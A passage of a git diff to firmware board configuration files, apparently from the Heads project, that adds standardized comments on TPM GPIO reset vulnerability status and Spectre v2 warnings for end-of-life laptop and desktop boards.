microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_15v4 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_15v4.config diff --git a/boards/EOL_librem_l1um/EOL_librem_l1um.config b/boards/EOL_librem_l1um/EOL_librem_l1um.config index 2b4c41fed..17ca10cdc 100644 --- a/boards/EOL_librem_l1um/EOL_librem_l1um.config +++ b/boards/EOL_librem_l1um/EOL_librem_l1um.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a librem_l1um CONFIG_LINUX_CONFIG=config/linux-librem_common.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um.config diff --git a/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config b/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config index 2051e15f7..b338eb8b2 100644 --- a/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config +++ b/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config @@ -18,12 +18,8 @@ # - PSU: 250W (85% efficiency) or optional 400W (92%) # - Form factor: Mini Tower (25L), 175 x 413 x 406 mm, ~12.5 kg # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Includes # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/m900/m900_download_clean_deguard_me.sh diff --git a/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config b/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config index 810163ecd..3b499280d 100644 --- a/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config +++ b/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config @@ -18,12 +18,8 @@ # - PSU: 250W (85% efficiency) or optional 400W (92%) # - Form factor: Mini Tower (25L), 175 x 413 x 406 mm, ~12.5 kg # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Includes # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/m900/m900_download_clean_deguard_me.sh diff --git a/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config b/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config index e50aeb232..5e4ccce60 100644 --- a/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config +++ b/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config b/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config index 917638768..d57983b68 100644 --- a/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config +++ b/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config b/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config index 9c318dc57..5b9d2cfc9 100644 --- a/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config b/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config index 3e1cea776..69154c329 100644 --- a/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config +++ b/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config b/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config index c2f4e86df..8fd55401b 100644 --- a/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config +++ b/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T420 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t420-maximized/EOL_t420-maximized.config b/boards/EOL_t420-maximized/EOL_t420-maximized.config index a797cb650..9442cc474 100644 --- a/boards/EOL_t420-maximized/EOL_t420-maximized.config +++ b/boards/EOL_t420-maximized/EOL_t420-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T420 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config b/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config index f44bab884..14f7861b9 100644 --- a/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config +++ b/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T430 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t430-maximized/EOL_t430-maximized.config b/boards/EOL_t430-maximized/EOL_t430-maximized.config index 26b5805cd..b885744bf 100644 --- a/boards/EOL_t430-maximized/EOL_t430-maximized.config +++ b/boards/EOL_t430-maximized/EOL_t430-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T430 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config b/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config index 630a6e28d..39379753a 100644 --- a/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config +++ b/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad T440p with HOTP Security dongle support CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config # TODO: Make a ThinkPad-common Linux config file. diff --git a/boards/EOL_t440p-maximized/EOL_t440p-maximized.config b/boards/EOL_t440p-maximized/EOL_t440p-maximized.config index ce9de9dec..82dde73bd 100644 --- a/boards/EOL_t440p-maximized/EOL_t440p-maximized.config +++ b/boards/EOL_t440p-maximized/EOL_t440p-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad T440p without HOTP Security dongle support CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config # TODO: Make a ThinkPad-common Linux config file. diff --git a/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config b/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config index b55eeca8b..3d4fea741 100644 --- a/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config +++ b/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config @@ -1,13 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Includes # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh diff --git a/boards/EOL_t480-maximized/EOL_t480-maximized.config b/boards/EOL_t480-maximized/EOL_t480-maximized.config index 42f327f24..b89bb3f74 100644 --- a/boards/EOL_t480-maximized/EOL_t480-maximized.config +++ b/boards/EOL_t480-maximized/EOL_t480-maximized.config @@ -1,13 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Includes # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh diff --git a/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config b/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config index f1096f445..b2048fb0d 100644 --- a/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config +++ b/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config @@ -1,13 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Includes # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh diff --git a/boards/EOL_t480s-maximized/EOL_t480s-maximized.config b/boards/EOL_t480s-maximized/EOL_t480s-maximized.config index 0070d9e4b..2c0d0c22d 100644 --- a/boards/EOL_t480s-maximized/EOL_t480s-maximized.config +++ b/boards/EOL_t480s-maximized/EOL_t480s-maximized.config @@ -1,13 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Includes # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh diff --git a/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config b/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config index 5e23f47d3..21c3eef8d 100644 --- a/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config +++ b/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a W530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_w530-maximized/EOL_w530-maximized.config b/boards/EOL_w530-maximized/EOL_w530-maximized.config index 9daa35c55..a5e77ea6c 100644 --- a/boards/EOL_w530-maximized/EOL_w530-maximized.config +++ b/boards/EOL_w530-maximized/EOL_w530-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a W530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config b/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config index 6baa67129..f93d267cc 100644 --- a/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config +++ b/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad W541 with HOTP security dongle support # For known issues see the blobs/w541/README.md CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config diff --git a/boards/EOL_w541-maximized/EOL_w541-maximized.config b/boards/EOL_w541-maximized/EOL_w541-maximized.config index cb0b985d6..53a21174d 100644 --- a/boards/EOL_w541-maximized/EOL_w541-maximized.config +++ b/boards/EOL_w541-maximized/EOL_w541-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad W541 without HOTP security dongle support # For known issues see the blobs/w541/README.md CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config diff --git a/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config b/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config index 6d7033db6..4fd0825cc 100644 --- a/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config +++ b/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X220 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x220-maximized/EOL_x220-maximized.config b/boards/EOL_x220-maximized/EOL_x220-maximized.config index bb37026df..fdc5da0df 100644 --- a/boards/EOL_x220-maximized/EOL_x220-maximized.config +++ b/boards/EOL_x220-maximized/EOL_x220-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X220 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config b/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config index e3aa82e55..463839fd0 100644 --- a/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config +++ b/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Based on https://review.coreboot.org/c/coreboot/+/28950 for FHD mod diff --git a/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config b/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config index fc4ca0ce0..cb06d1899 100644 --- a/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config +++ b/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config b/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config index 6131631ad..fff75bca8 100644 --- a/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config +++ b/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config b/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config index 69058a82e..a7855c198 100644 --- a/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config +++ b/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Based on https://review.coreboot.org/c/coreboot/+/28950 for FHD mod diff --git a/boards/EOL_x230-maximized/EOL_x230-maximized.config b/boards/EOL_x230-maximized/EOL_x230-maximized.config index 40afeaeab..f5edab489 100644 --- 